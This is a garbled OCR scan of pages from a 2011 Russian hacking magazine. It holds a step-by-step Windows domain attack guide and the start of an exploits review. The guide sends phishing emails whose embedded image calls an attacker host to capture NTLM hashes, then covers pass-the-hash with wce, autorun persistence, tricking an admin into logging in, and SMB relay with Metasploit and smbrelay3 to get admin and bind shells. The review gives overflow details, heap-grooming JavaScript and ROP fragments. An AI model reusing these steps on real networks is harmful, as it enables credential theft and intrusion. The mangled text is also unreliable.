Ca in 'a , переходи на в кладку Cracker и выбери в левой па нел ьке MS-Cache H a shes , Далее все, как обычно , Если тебе повезло набрутить админов на других узлах , н е поленись и с н и м и хэши с этих м а ш и н , Надеюсь, уда ча тебя не оставит, хотя шансов , честно скажу, немного , Во всех доменах , которые мне попадал ись , были настрое н ы политики сложности пароля . Более того, адм и н ы для себя , как правило , выби рают действител ьно сложные па рол и , та к что в большинстве случ аев тебя ждет провал, Помочь тебе может Extreme GPU Bru teforcer, кото рый осуществляет перебор на в идюхах, одна ко га ранти й , сам пони маешь , н и каких , А раз нет га ранти й - это н е по-наше му, и м ы идем дал ьше ,

Письма счастья Могу поспорить, что на ра боте ты почти каждый ден ь полу­чаешь п и сьма , повествующие об откл ючен и и холодил ь н и ка , корпорати вных п ья н ках и принятии на службу н о в ы х бойцов, П р и мечател ьно, что эти п ис ьма н и когда не попадают в спам, п р и этом карти нки в них а втоматически подгружаются и отобража ют­ся почтовиком , Есл и коп нуть чуть глубже, можно обна ружить, что для отображе­ния письма в HTM L Out look испол ьзует движок I E , П а радигма безопасн ости IE зиждется на раздел е н и и всех ресурсов на зоны , В зависимости от того, к какой зоне отнесен ресурс, оп ределя­ется и уровень доверия к нему, Для ресурсов , входя щих в тот же до мен , что и ты, назначается зона « И нтра н ет», В этой эоне I E la значит, и Out look] при н еобходимости производит а втоматиче­скую а вторизацию с текущи м и уч етн ы м и да н н ы м и н а web-узл е , Отсюда рождается следующий с ц е н а р и й атаки , Делаем рассылку п исьма , содержа щего ссылку на картин ку, расположе н ную на контрол и руе мом нами узле . А на самом узле подн имаем фейко­вый web-сервер , зада чей кото рого будет являться п р и нужден и е к а вторизации и зап ись сессии ауте нтификации , Роль такого сервера поможет сы грать утил ита pokehashbal l , Тулза н а п и са на на R u by и испол ьзует б и бл иоте ки M etasploi t , Та к что , есл и еще не поставил , быстро уста навливай Metasplo i t и пропиши путь к библ иоте кам в перемен ную среды R U BYL IB=C :\ fra mework\msf3\l i b , Для отп равки пис ьма испол ьзуй O utlook Express, Дело в том , что взрослый Out look п р и отсылке сам заби рает картинку и вставля­ет ее в п исьм о ; нам же подойдет только ссылка, Как настроить Outlook Express ты , думаю, разберешься . Н астроил? Тогда созда й НТМ L-файл следующе го содержа н и я :

Hacker , <br / >mOrO Corporat i on < img width= l height= l

s r c = '' ht tp : / / 1amercomp : 8 0 8 8 / d , g i f " / >

Дал ее в Out look выбери м е н ю «Сервис -7 П а ра м етры» , а зате м на в кладке « П одписи» созда й новую подп ись , указав в качестве и сто ч н и ка созда н н ы й файл ,

Не надо было бы админу « письмо счастья» открывать

Все готово l Н а узл е [а тегсотр запускаем pokehashbal l , П ридум ываем себе очередной де н ь рожде н и я и делаем рассылку с п р и гла шением поучаствовать всем желающим , особе н н о адм и ­нам , П р и этом в конце п и сьма н е забываем доба вить зловещую подп ись , После нажатия кноп ки <Sепd> можно п ойти погулять И че рез пару м и нут вернуться за уловом , Резул ьтаты увиди ш ь в выдаче pokehashba ll, Выход карди нально зависит от настроек груп повых политик, В идеале это будет NТLМ -аутентификация с LМ-хэша м и , Если та к -тебе повезло, На нормальном ноуте ты пассы за оди н день желез­но подберешь lесл и , конечно , адм и н ы непечатаемые символы не испол ьзуют], Ну а в худшем - NTLMv2-аутентификация , п од кото­рую, в силу особенностей алгоритма, даже радужных табл и ц н ет, Здесь можно рассчиты вать только на удачу и отсутствие парол ьных полити к. Да, и не забудь отмен ить ДР после удач но го брута, Скажу тебе по секрету: статисти ка моей п ра ктики пе нтестов пока­зывает, что этот м етод в 1 00% случаев дает желаемый резул ьтат, Его основными преи муществами являются массовость и н еза мет­насть, Рассылка по списку сразу же подсаживает кучу пользова­теле й , а факт наличия до веренных отно ш е н и й п ри водит к тому, что пол ьзователю не выда ется н и ка ких запросов : для него все пол ностью п розра ч н о и , что самое прекрасное , от н е го н и ч е го не зави ситl

Чужие пальчики Тем не менее , предполож и м , что пока все усил ия пропали да ром, Н и оди н из перехва ченных хэшей пробрутить н е удалось, Но н е будем отчаиваться , а пошевел и м и з в и л и н а м и , Одной и з целей использования внешних каталогов является реал изация пара­дигмы S ing le S igп-Оп , Залоги н и в ш и с ь на ком п , ты получаешь доступ ко многим сервиса м , больше н е вводя н и каких паролей, Во всяком случае , к сервиса м M i c rosoft , Н и кто тебя л и ш н и й раз н е беспокоит, ко гда ты цепляешься к корпоративному почто ви ку, C R M или системе внутреннего документообо рота , Это знач ит, что пока твоя сессия а кти вна , твои учетн ы е данные хранятся в памя­ти и и спол ьзуются а втоматически . Парол и , естественно , в откр ытом виде не хранятся --' хра н ятся их хэши , уже нам зн акомые LM или NTLM. Ну а те перь главное : если Винде достаточно только хэшей , чтобы тебя а вторизовать, значит и тебе для а вторизации под чужой учеткой сам пароль не нуже н , а нужен только е го хэш , Технология а вторизации п о х э ш у носит назва н и е pass-the-hash , Получа ется , что н и ка кая там парольная полити ка и отсутств и е выч исл ител ьных мощностей нам н е поме­ха, М ы п росто н и ч е го н е будем брутить, П робл ема закл ючается в том, ка к эти самые хэши получить. Заметь, ничего нового я н е сказал, а утилит, котор ы е позволяют получать х э ш и из а кти вных сесс и й , не та к уж и мало , М н е бол ь­ше всего по душ е утилита wce, которая может н е тол ько с н и мать хэши , но и использо вать их для и н ициации новых сессий с использова нием сда м пле н н ы х хэшей ,

ХАКЕР 03 / 1 4 6 / 2 0 1 1

Page 41: Хакер март 2011

.'_ e- .... � t .. _ 1е. * ф • • • II+ qj l lil ! 'I. {J •• 1iI 8 е 1l " 1 8 ' IlLl 1& � 1I ___ 1_m.liJo.-ll ,_ ID aDJl'i ... HAi�1

.,- -: мoooarc-. ..

: 1$CISI1КS8I ... � fI9IIaX2'IFOS. •• �a ... ' � . .

о_о =� =:.

-

Пароль локального админа подобрать не проблема

Для да мпа сессий просто за пусти бинарник . Естественно , кроме своей учетки ты н и че го не уви ­дишь. Дл я компромета ции адм ина нужно за пустить утилку на узле , на котором адм ин в настоя ще е время зал огинен . В этой связи на ибольший для нас и нтерес п редста вляют сервера . Если тебе удалось получ ить локальный адм и нский доступ к серверу, забрось туда б и н а р н и к и запусти :

wce . exe -rбО -о c : \ ternp\wce . log

Опция -г60 заста вля ет тулзу п роверять нал и ч и е новых логинов каждые 60 секунд. При за пуске можешь получ ить отлуп в в иде ош ибки инжекти рова н и я в п ро цесс LSASS . Тогда поп робуй за пуститься с права­м и LocalSystem. Для этого ты можеш ь испол ьзо вать планировщик или воспользоваться утилитой psexec с кл ючом -s. Ну а дал ьше - воп рос времени и везе н и я . Нужно просто дождаться , по ка адм и н п одключ ится к серверу. Чем бол ьш е серваков - тем луч ше . Для ускорения этого процесса можешь приме н ить свой , не сомн еваюсь, н езаурядный талант в области социаль­ной и нжен е р и и . Есл и тебе не повезло, и к серва ка м доступа т ы н е и м еешь , п р идется пожертвовать своей та ч кой . Главное - помнить, что в кл и ентских ОС от M i c rosoft одновременно возможна только одна а ктивная сес­сия . П ричем для тачек, в ключенных в домен , и нтера к­тивный доступ откл ючается . Это означает, что ко гда адм и н к тебе подкон н е ктится , все твои задачки , в том числ е и wce, будут завершены . То есть нужно нем нож­ко п остараться и сделать та к, чтобы твоя зада ча л ибо всегда висела, л ибо за пускалась при каждом входе. Для того, чтобы задача н е завер шалась , ее можно запустить л ибо от и м е н и Loca lSystem Ic помощью того же пла н и ровщика l , л и бо в виде сервиса . Однако л и ч н о у меня та кие эксперим енты окончил ись н еуда ч­но . Процесс работает, но в файл н и че го н е п и ш ет. Поэто му предла га ю альтернати вный путь. Для этого создадим простой скриптик следующего содержа н и я :

wce.bat

@echo o f f

c : \ ternp\wce . exe -о c : \wce . log

Дал ее доба вляем его в а втоза груз ку. Кл ючей и м етодов а втоза груз ки м н ожество - выбор за тобой . П ростейшим вариантом является созда н и е соот­ветствующего пара м етра в разделе реестра Н КЕУ_ LOCAL_MAC H I N E\Softwa ге\М icrosoft\ Wi ndows\Cu ггеп! Vers ion\R u n . После этого позвони админу и сообщи ему, что у тебя ком п вообще н е работает и очень сроч­но нужна е го помощь. Ко гда он пр идет, зал огин ится

ХАКЕР 03 / 1 46/ 20"

Не используй одинаковые или похожие пароли на разных узлах и скажет, что все О К, н е за будь восхититься е го про­фессионал измом , тысячу раз и з в и н иться и пообещать ящик пива . Ну а когда уйдет, посмотри соде ржимое файл и ка c :\wce . log . А еще лучше - за пусти кома нду

wce -s <то , что в файлике лежит> -с crnd

и насл ажда йся консолью с правами адм и н и стратора домена .

Отражение Все замечател ьно, н о , как и всегда, хочется п ро цесс несколько а втоматизиро вать. Нап рямую испол ьзовать хэши , полученные при сниффинге аутентифика цион­ных сесс и й , н ельзя , потому что это не в чистом в иде LM- и NТLМ -хэши , а некоторые кри птографи ческие п реобразова ния над н и м и с использо ванием случа й ­ных значений . Тем не менее , есл и полностью повто­р ить п роцесс аутентификации , в п равильном порядке м а н и пул и руя значениями cha llenge , есть возможность а вторизо ваться с получаемыми хэша м и . Эта м етодика носит назва н и е 5 M B Relay. М етод не новый и M i c rosoft о нем и звестно. Не так да вно [вспо м н и , когда появилась NТ] н а кон ец-то поя­вился бюллетень M S08-068. Соответствующие апдей­ты перекры вают возможн ость осуществлять рефл ек­сию на хост, и н ициирова в ш и й соеди нение . Одн а ко это вовсе не искл ючает возможности рефлексии на другие хосты или по другим п ротоколам . Одн и м и з д е й ств е н н ы х м еха н из м о в з а щ и -ты я вл я ется « п од п и с ы в а н и е 5 M B » . Н а стро й ка осуществля ется л и б о груп п о в ы м и п ол и т и к а ­м и , л и б о путе м р еда кти р о в а н и я п а р а м етров Епа b le S e c u r i tyS i g na tu ге и R e q u i reSecu r i tyS ig na tu ге р а здела Н К ЕУ _LO CAL_MAC H I N E\SVST E M\ С u r re n t C o n t ro ISet\S e rv ices\La n М а n S e rver\ Parameters . Сто ит отметить , что н а ч и н а я с W i n d ows 2000 R e q u i reSecu r i tyS i g n a t u re в кл ю ч е н н а контролл е р а х д о м е н а п о у м ол ч а н и ю , о бл а м ы ва я все п о п ытки рефл е к с и и н а контрол л е р . Од н а ко с кл и е нтс к и м и ося м и п ол н ы й п о рядок . Для реал изации рефл е ксии будем и спол ьзовать модуль smb_relay вел и кого и ужасного Metasplo i t · a . Итак , запускаем консоль, выбираем и настра и ваем модуль sm bJelay:

use windows / srnb/ srnb_relay

set srnbhost <iр-адрес для рефлексии>

exploit

� i nfo Ка к использовать все, что описано в статье, решаешь ты сам. Но советую не искушать судьбу. Не забывай получать п исьмен ное согласие заказчика на все свои действ ия .

Весь необходимый софт, а также видеорол и к ты найдешь на диске, прилагаемом к журналу.

� 047

Page 42: Хакер март 2011

I console tntеrасtюп wlndow �t: [ ' ] Cteat.d \GlDКuvSQg • • х •• • • [ ... ] Connectinq to the Selvice Cont1:o1 ИanаqеI . . .

[ ' ] Obraininq а .etvic • • anао" hand1e • • .

[ ... ] C1:eatinq а nev se1:vice . . .

[ .. ] Closinq selvice h81'l.d1e . . .

[ t ] Openinq selvice . . .

[ а ] Sta1:tinq the selvice . . .

[ ' ] R •• ovinq th. ..tvic • • • • [ .. ] C10sinq selvice handle . . .

[ ' ] De1eting \ GlDКuvSQq. ех • • • . [ а ] E1:ro1: processing request ft:olD. 192. 168 . 12 0 . 3 : 8088 (115) : Rex: : PI.oto: : SМВ : : Exceptions: : ErroICode The

[ ' ] Sendinq .ич. (749056 Ьусе.) to 192 . 168 . 120. 11

J [ ' ] Het.tpt.tet .e •• ion 1 opened ( 1 92 . 168. 120. 10: 4444 -> 192 . 1 68 . 120 . 11 : 1214) ас 2010-12-30 15 : 45 : 53 +' [ ' ] Ignotinq teque.t fto. 192 . 168 . 120 . 3 : 8088 (43)

['] Received 192. 168 . 120 . 3: 8091 STAGEDlVER\ .taqediver LННASH: bf92ddeb43907b4ge62ce5127db097dbd8335bOdO'

[ ' ] Authenticatinq со 192 . 168 . 120 . 11 а. STAGEDlVER\.taqedlv.t . . .

[ ' ] АIЛl!ENТIСАТЕD а. SТAGEDlVER\ .raqedivet • • • [ ' ] Ignопnq tequ •• t fto. 192 . 168 . 120. 1 1 , atraclt a1teady in ptoqte ••. ['] Sendinq Ассе •• Deni.d со 192 . 168. 120 . 3: 8091 STAGEDlVER\.taqedivet

[ ' ] Received 192 . 168 . 12 0 . 3 : 8091 STAGEDlVER\ .taqedivet LННASH: bf92ddеЬ43907Ь49еб2се5127db097dbd8335ЬОdО'

Рефлексия в действии

Не за пустился? Н е спеши расстраиваться . П ра в ильно , что э кс­плойт н е за пустился, та к как порт 445 забинден в и ндой за 5 M B ­службо й . М ногие пуга ются того, что службу станда ртн ы м и сред­ства м и убить нел ьзя , одна ко это н е та к . За пускаем reged i t и п р и ­сваиваем параметру ТгапsрогtВ i пdNаmе раздела H KEY_LOCAL_ МАС Н I N E\SYSTEM\C u гге пtСопt го lSеt\Sе rvices\N е! ВТ\Ра га m eters пустое значение . П осле этого переза гружа емся и п робуем заново . Теперь все отл и ч н о l Ка ким-либо образом заста вляем адм ина подключить любой ресурс на нашем ко мпе и , как только он это сдела ет, у тебя на руках будет m eterp reter на том хосте, на кото­рый ты рефлексился. А куда же рефлекситься , спрос и ш ь ты? Если н ел ьзя на тот же узел и на контроллер домена , куда тогда? Есть очень красивый вариант - рефлекситься на та ч ку другого адм и ­на . Ка к в боевиках : в с е адм и н ы друг друга постреляли . Что дал ь­ш е ты будеш ь делать с meterp reter - уже н е моего ума дело .

Help, I need somebody На десерт - самое в кусное . До этого мы сч итал и , что и м еем права локальн ого адм и н истрато ра. Что дел ать , если их н ет? Зам ечу, что отп равка п и сем счастья не требует н и каких допол н и ­тельных п р а в . Та к что этот м етод можн о использо вать и из- под огра н иченной учетной записи . В принципе , н и что не мешает и M etasplo i t за грузить, одна ко освободить 445 порт без адм и нских прав , к сожалению , н е получится . Та к как м етод со с н иффи н гом сессии ауте нтификации требует брута хэшей и не га ранти рует резул ьтата , надо п р идумать что-то более солидное . Как я уже говорил , рефлексия может быть произведена и с других п ротоколов , в том ч исле и в резул ьтате аутенти ф и кации на НТТР­сервере . Та ким образом можно поднять собственный we b-сервак на непривил е гированном порту и заслать « п и сьмо счастья» со ссылкой на этот сервер . А рефлексию с права м и админа про­водить на 5MB, скаже м , на свой же узел . В резул ьтате получ и м ш елл с адм и нскими п равами на своей машине . С каза но - сдела ­но , д а не тут-то было. К сожалению , M etasplo i t ' овский sm bJelay жестоко обламывает, работая только с 5 M B . Н о здесь на помощь п риходит другая тулза под назва н и е м

sm Ь геlауЗ. Она умеет делать р о в н ы м счетом то , что нам и надо. Ита к, запуска е м :

smbrelay3 . exe - -ListFоrНТТРRеquеsts

- -АltеrпаtivеSrсРоrt 8 0 8 8 - - SМВDеst iпаt iопНоst

< lamercomp>

После этого не забываем про п исьмо с нужной ссылкой на ка р­ти н ку в п одписи и медитируем на консоль. Как только увидишь строчку

[ + ] * * * Remote 5mbRelay3 BindShel l Service Running

« твой I P> : 8 0 8 0 ) ,

сразу за пускай тел н ет и подключайся к порту 8080. Дал ьш е дело техники и пеt user тебе в помощь.

Качество гарантирую П олучая зада н и е на инфраструктурн ы й п ентест и с п ра ш и вая , что же заказчик хотел бы в кон це этого действа увидеть , я в 9 случа­ях из 1 О сл ышу ответ: «А вот попробуйте получ ить доступ к почте нашего зама по безопасн ости !» . Ну что ж, може ш ь смело браться за та кие п ентесты - резул ьтат га рантирова н . Реализуя оди н и з описанных сценариев , т ы , та к или и наче , непременно получ и ш ь права доменного адм ина . И мея п рава до мен ного адм и н а , ты може ш ь сн ять хэши со всего каталога. А с помощью pass-the-hash получ и ш ь доступ к почте не только зама по безопасности , но и любого другого сотрудника . Вообще гово­ря , реал изация полученных возможностей может быть ограни че­на только твоей фа нтазиеЙ . Н а последок скажу, что на M i c rosoft я н е работа ю, и денег м н е не платят, чтобы за них думать. Н и каких рекоменда ций от меня ты не усл ы ш и ш ь : их раз работка пусть будет твоей головной бол ью, когда будешь отч иты ваться по результатам своего следующего убойного пе нтеста. Возможно, это будет темой твоей следующей статьи в Н. х

ХАКЕР 03 1 1 461 2 0 1 1

Page 43: Хакер март 2011

• • Н и кита Та раканов , C I S S Research Team, twitter,com/NTara k a n ov

EXPLOIТS REVIEW s

ОБЗОР ЗКСПЛОИТОВ Конец декабря и начало нового года для компании М iсrоsоft выдались несладкими: уязвимость в ядре Windows (EnabieEUDC) , о которой уже было написано в прошлом выпуске, так и не запатчена , плюс к ней добавилась целая пачка свежих нульдеев, о которых я спешу рассказать в этом обзоре .

Ита к, вот краткий та й млайн вы хода в свет и нформации об уяз в и ­мостя х : • 2 1 - го декабря публ и куется РоС , кото р ы й валит FТР-сервис , вхо­дящий в па кет 1 1 5 7 . 5 ; • 22-го декабря на кита й ском хакерском са йте WООУUП .огg публ и­куется и нформация об уяз в и мости в ActiveX 'e W M I Аd m i п is tга t ivе Tools ; • 27-го дека бря известн ый хакер Андреа М и калицци , более извес­тный как rg od , публи кует краткий а нализ уяз вимости и РоС дл я Fax Соуег Page Ed i tor ; • 4-го января Джошуа Дрэйк добавл я ет э ксплойт в m etasplo i t дл я очень и нте ресной уяз в и мости в обработке эскизов , до этого в дека­бре М оти и Ксу Хао посвятили цел ое выступл е н и е этой архитектур­ной уязвимости н а азиатской конференции РОС201 О ; • 5 - го января сотруд н и к компа н и и Google М и хал 3ал евски публ и ­кует и н ф о р м а ц и ю о баге в I nternet Ex plorer 'e . И нтересно почитать бл о г мелкомягких 5ecu rity Research & Oefense , в котором о н и часто публ и куют и нформацию о м и н и миза­ции рисков - н а п р и м е р , Workaround дл я за щиты от уяз в и м ости в обработке эскизов [CVE- 20 1 0-3970] путем применения АС L-л истов дл я уя звимой библ и отеки sh i mgvw. d l l . Также M i c rosoft ста ра ются п р иум е н ь ш ить риск уязви мосте й , ста вя на н е кото р ы х я рл ы к 0 0 5 on ly, что и н о гда д в и га ет хакеров к новым тех н и ка м обхода совре м е н н ы х за щит. Яркий при мер - уяз в и м ость в FТP[CVE - 2 0 1 0-3972] : эксперты и з М 5 с ч ита ­ют, что перепол н е н и е , п р и котором м ы зати раем метада н н ы е ко нста нтой [ ОхFF в да н н о й случ а е ] , б е з контроля н а д адреса м и перез а п и с и н е э ксплуатабельно l Н о двум реверсам в ко м а нде - Крису Валазеку и Р и а ну С м иту - удал ось выжать м а ксимум , получ ить ко нтрол ь над E I P. Одн а ко « вто р н и к патч е й » н е поразил бол ь ш и м кол и ч еством бюллете н е й - всего два, закрывающие три уяз в и мости . Одна из которых [ I nsecure Li b ra ry Loa d i n g в Backup M a n a gere 'e ] уже стала банал ьн остью, п р и ч е м уяз в и мости подверже н а тол ько Vista . Второй бюлл ете н ь и с п р а вляет сразу две уяз в и м ости в М ОАС , одна и з кото рых довол ьно и нте ресна и даже и сп ол ьзовалась на хакерском тур н и ре Pwn20wn. С нее и н а ч н е м обзор .

� 050

0 1 УДДЛЕННОЕ ИСПОЛНЕНИЕ КОДД В MICROSOFТ DATA ACCESS COMPONENТS @;!ф,iO .. j Wi ndows ХР, 2003, Vista, 2008, 7

Уя зви мость класса I nteger Ove rflow, которая , в свою оче редь, ведет к перепол н е н и ю heap 'a и связана с обра боткой свойства Cache5ize ActiveX ко мпонента М5АОО. Свойство Cache5ize объе кта Record5et целочисл е н н о го типа отвечает за кол и ч ество записей , кото рые будут хран иться в кэше набора да нных . В нутренне Cache5ize испол ьзуется п р и расчете памяти , выделяемой дл я хра н е н и я этой и нформа ц и и , что дела ется путем умноже ния на 4 , та к как в кэше хранятся л и ш ь идентифи като­ры записей OWO R O - 4 ба йта :

Уязвимый код в msado.dLL

. text : 4DDFC 3 4 8 lea еах , ds : 4 [ eax * 4 ]

; еах - значение CacheSize

. text : 4DDFC 3 4F push еах

. text : 4 DDFC3 5 0 push OAO O O OOh

. text : 4DDFC 3 5 5 push ?g_hHeapHandle @ @ 3 PAXA

; void * g_hHeapHandle

. text : 4DDFC3 5B c a l l ds : __ imp __ MpHeapAl l o c

; Выделяем память

Как видишь , напрочь отсутствует п роверка ситуа ц и и , когда Cache5ize будет бол ьше Ох40000000 , что п р и ведет к цел оч ислен­ному перепол н е н и ю, а значит - будет создан буфе р некорректной дл и н ы , а затем перепол н е н и е и зати р а н и е памяти . Теперь дело за такти ко й . Во-первых , к какой базе да н н ы х будем делать запросы? Тут нам на помощь п р идет тех н ология X M L Oata Is lа п d , кото рая заключается в том , что с помошью X M L, в н едренно­го в h tm l-стра н и цу, м ы э мул и руем базу да н н ы х :

ХАКЕР 0 3 / 1 4 6 / 201 1

Page 44: Хакер март 2011

. � � EXPLOIТS REVIEW

EXPLOIТS '----1 REVIEW

Ох21212121 - хорошее значение ДЛЯ регистра EIP :)

Строение памяти для осуществления техники

При мер внедренной базы данных < ?хт1 version= " 1 . 0 " encoding= " ut f - B " standalone= " yes " ? >

<XML ID= " хт1 id1 " >

<Devices>

<Device>

<HereIsCou1dBeAnyData / >

< / Device>

< / Devices>

< / XМL>

Во-вторых , ка к сделать, чтобы в кэш по падала какая -то и нформа­ция дл я форсирова н и я з а п и с и да н н ы х за гра ницы выдел е н н о го буфера? Для этого идеал ьно подходят методы объекта RecordSet : M oveFi rst, MoveN ext и так дал ее . Этот фа кт поз воляет на м контро­л и ровать ход переза п и с и па мяти, та к как м ы уже и меем пол н ы й контроль н а д размером буфера и н а д те м , что п и ш е м . Автор да нной уяз в и м ости П итер Вре где нхил испол ьзовал выше­описанное для очень и нтересного трюка - утечки памяти с цел ью обхода ASLR. Н а карти н ке выше : • тем н ы й цвет - буфер кэша : размер п од контрол е м атакую щего ; • зел е н ы й цвет - строка , выделенная в heap 'e , коричневый цвет - завершающие 2 ОхОО ба йта , • красн ы й цвет - объект С + + , с первым DWO R D те м но-красного цвета. Если добиться та ко го рас положе н и я о бъектов в п а м яти и затереть нул е в ы е ба йты стро к и , а затем че рез JavaScr ipt п роч итать е е соде ржи мое , т о м ы в ко н е ч н о м ито ге наткнемся на ОхОООО . Чтобы и м еть возможн ость п е р е п исать п а м ять байта м и ОхОООО, надо со­здать о ч е н ь м н о го з а п и с е й - бол е е ОхОО0 1 00 0 1 . Но н е торо п и с ь : в е д ь п о с л е удаления ка кой-либо з а п и с и следующая новая з а п и с ь п олучает и н кремент идентифи като ра . Та к и м образом , созда вая и удал яя з а п и с и в ц и кл е , можно быстро добиться нужного значе ­н и я :

ХАКЕР 0 3 / 1 46/ 2 0 1 1

EXPLOIТS REVIEW

func t ion IncreaseRowCounter ( )

i f ( Globa1RowCounter < Ох1 0 1 2 0 )

for ( i = О ; i < Ох3 0 0 ; i + + )

G1oba1 RowCounter+ + ;

localxml id2 . AddNew ( [ " ВВВВ " ] , [ " с " ] ) ;

localxm1id2 . Delete ( ) ;

var percentcomplete = Math . round (

Globa1RowCounter / Ох10 1 2 0 * 1 0 0 ) ;

document . getElementByld (

' progre s s faseone ' ) . innerText =

percentcomplete + " % " ;

window , setTimeout ( IncreaseRowCounter , 1 0 0 ) ;

Сто ит отметить, что а вторский э ксплойт огромен : он испол ьзует сразу две уяз в и м ости [в том ч и сл е о п и с ы ва е мую и м е н н о с целью обхода ASLR] , что ведет к возможности обо йти DЕР путе м в ы стра и ­вания RОР-последовател ьности. M SO .d l l испол ьзует ста нда ртную функцию V i rtua lProtect , с помощью кото рой марки руется п а м ять в том месте, где локализован наш шелл - код как Executa b le . Вторая уязвим ость класса use-afteг-fгee [ CVE- 20 1 0 - 1 262] была запатч ена еще в ms 1 0-035 . Отл и ч н ы й пример , когда ко мбинация и з двух уяз ­в и м осте й увел и ч и вает эффективность усп еха эксплуата ц и и l П атчем ж е я вляется и сп ользова н и е проверочной функци и , которая вып ол н яет ум ноже н и е и проверяет резул ьтат на перепол н е н и е .

Н а кати патч ms 1 1 - 002 : micгosoft .com/technet/secu гity/Bu llet in/MS 1 1 -002.mspx

� 051

Page 45: Хакер март 2011

Dir . . . т I Address I T ext

EXPLOIТS REVIEW

о . . . р ATL: :_AT L_SAFE_ALLOCAJMPL: : . . . call ds:_imp_ VirtuaIProtect@1 6; VirtuaIProtect(x,x,x,x) I� LU D . . .

ОК Cancel

• _ 1: _

Какой-то ATl-компонент использует VirtualProtect

са" ds:_imp_ VirtualProtect@1 6; VirtuaIProtect(x,x-х-х)

Help S earch

IIIOU еах , [ ebp+lcid ] push 4 рор есх mJl есх lea есх , [ ebp+lcid ] push есх ; unsigned __ intЗ2 *

push edx push еах ; unsigned __ int64 [ е саН ?ULongLongToULongQ8YAJ_KPAK8Z ; ULongLongToU

sh add test jl

�bp+lcid ] � OOOOOh

esp , OCh еах , еах loc 4ОЕ166С6

}_hНеарНаndlеQ8ЗРАХА ; uoid * g_hHeapHandle ; : __ i�p __ НpHeapAlloc

1

г---------�r=�--------__ �)с�4�DЕ�1�6�6�Е�з----�--------------���

1 Слева - уязвимый код слепо умножал на 4, справа - патченый сперва делает проверку

О 2 УдАЛЕННОЕ ИСПОЛНЕНИЕ КОДД В' MICROSOFТ GRAPHICS RENDERING ENGINE

lМitфi"-i Windows ХР , 2003, Vista

Гра ф и ч еская подсистема W indows часто п р е п односит с ю р п р и з ы в области безопас ности , Н а ко н фе р е н ц и и РОС20 1 0 М оти & Ксу Ха о вы ступ ил и с докладом всего л и ш ь п р о одну уязви м ость, зато каку ю l Как и з вестно , Ехр lогег м ожет отоб ражать файлы по -разно ­му, к п р и м еру : если в ы б рать стиль отображе н и я «Эскиз » , то будут отображаться н е кото р ы е м етада н н ы е ф а й л а , а и н ф о р м а ц и ю о соде ржа н и и (к п р и м е ру, doc- и л и pdf-Аокум е нтаl он б е рет и з обыкновен н о го битма п а , присутствующего в ф а й л е . Эта структура о б р а баты в а ется с п о м о щ ью фу н кц и и C o nvert O I B S E C T I O N ToTh u m b n a i l б и бл иотеки s h i m gvw. d l l , кото р а я , в с в о ю о ч е р едь , в ы з ы в а ет фун кцию C reateS ized 0 1 B S ECT IO N .

, t ext : 5 D0 2 0 1 F 5 push edx i n t

, t ехt : 5 DО 2 0 1 F б push есх int

. t ext : 5 D0 2 0 1 F7 push [ ebp+arg_8 ] int

. text : 5 D 0 2 0 1 FA push e s i int

. text : 5 D 0 2 0 1FB push есх HPALETTE

. text : 5 D 0 2 0 1 FC push еах i n t

. text : 5 D0 2 0 1 FD l e a еах , [ ebp+var _1 О ]

, t ext : 5 D 0 2 0 2 0 0 push

, t ext : 5 D 0 2 0 2 0 1 са1 1

еах ; i n t

_C rea t e S i zedDI BSECTION@ 2 8

Фун кция C rea teS i ze d O I B S ECTI O N обра баты вает b i C l rUsed как з н а ковое з н а ч е н и е (s i gned l . Рассмот р и м уя з в и м ы й код:

. text : 5 D 0 1 FC 2 D l oc_5 D 0 1 F C2 D :

. t ext : 5 D 0 1 FC 2 D сrnр есх , 1 0 0 h

; в е с х значение поля b i C 1 rUsed

, t ext : 5 D 0 1FC3 3 j g

; Знаковое сравнение ! ! !

, t ext : 5 D 0 1 F C 3 9 l e a

, t ext : 5 D 0 1 FC 3 C l e a

e s i , [ edx+ 2 8 h ]

edi , [ ebp+var_4 3 0 . brniCol o r s ]

, text : 5 D 0 1 F C 4 2 r e p rnovsd ; i n l ine rnеrnсру .

Из л и ст и н га видно , что если в есх отри цател ьное з н а ч е н и е , то м ы обойдем прове р ку с ко нста нтн о й дл и н о й буфера , рас поло­женного н а сте ке , тем са м ы м форсируя п е р е п ол н е н и е . Прак­тическая ценность этой уязвим ости весьма велика , та к как с п о м о щью We b O av м ожно ата ковать I nt e rnet Exp lo rer. Рассмотрим л о ка л ь н ы й сцен а р и й : нас заманили в д и р е кто р и ю , где л ежит файл со с п ециально сфо р м и р о в а н н ы м эскизо м . В этом случ а е п е р е п ол н е н и е п р о и сходит в п роцессе Exp lorer.exe , что дает п р е ­и мущества п р и э кс плуата ц и и н а W i n d ows ХР , та к как у п р о цесса Explorer.exe фла г ОЕР уста новлен н е в режи м е perm a n e n t . Из-за это го с п о м о щью R О Р-цепочки можно отключ ить ОЕР, и с п ол ьзуя Set P rocess O E P Po l i cy и л и V i rt u a lAl loc с RWX флаго м .

I

� 052 ХАКЕР 03 /1 46/ 201 1

Page 46: Хакер март 2011

rLUr r ;;) VIEW EXPLOIТS

REVIEW EXPLOIТS REVIEW

typedef DWORD LONG

struct tagBITМAPINFOH EADE R { biSize; biWidth ;

LONG biHeight ; WORD b i Plane s ; WORD biBitCount ; DWORD biCompres sion ; DWORD biSizeImage ; LONG biXPe l s PerMet e r ; LONG biYPe l s PerMeter ; DWORD b!C!rUsed; 1 DWORO biCl rImportan t ;

} BITМAPINFOH EADE R 1 *PBITМAPINFOHEAO E R ;

Структура, описывающая эскиз

Рассмотрим п р и м е р от а вто ров metasp lo i t ' a :

# формирование стека

' imp_V i r t ua l A l loc ' ,

' ca l l [ ес х ] / рор еЬр / ret Ох1 0 ' ,

О ,

О х1 0 0 0 , # размер

О х3 0 0 0 , #

О х4 0 , # RWX флаг

Ознакомься с официальной адвиз о р и от M S . та м есть F i x i t - pe ­шение . Л и бо з а п р ети п од грузку уя з в и м о й DLL путе м н ехитрой ко м а Н Ды : есhо y l c ac l s %WINDIR% \ SYSTEM3 2 \ sh imgvw . dl l / Е

/ Р everyone : N

О 3 ПОВЫШЕНИЕ ПРИВИЛЕГИЙ В AGNITUM OUTPOST SECURIТY SUITE PRO

Ag n i t u m O u t post Sесu гi tу S u i t e Рго и все п р одукты Аg п i t u m . и м е ­ю щ и е в ко м п л е кте уяз в и м ы й дра й в е р V В Е п g N T sys

В п р о цессе п о и ска ба гов а втор стол кнулся с довол ь н о и нтерес­ным архитекту р н ы м баго м : разра ботч и к и да н н о й Н I РS - с и сте м ы

Name

� ImageView_COMServer

� ImageViewJullscreen

� ImageViewJullscreen6.

� ImageViewJullscreen\ll

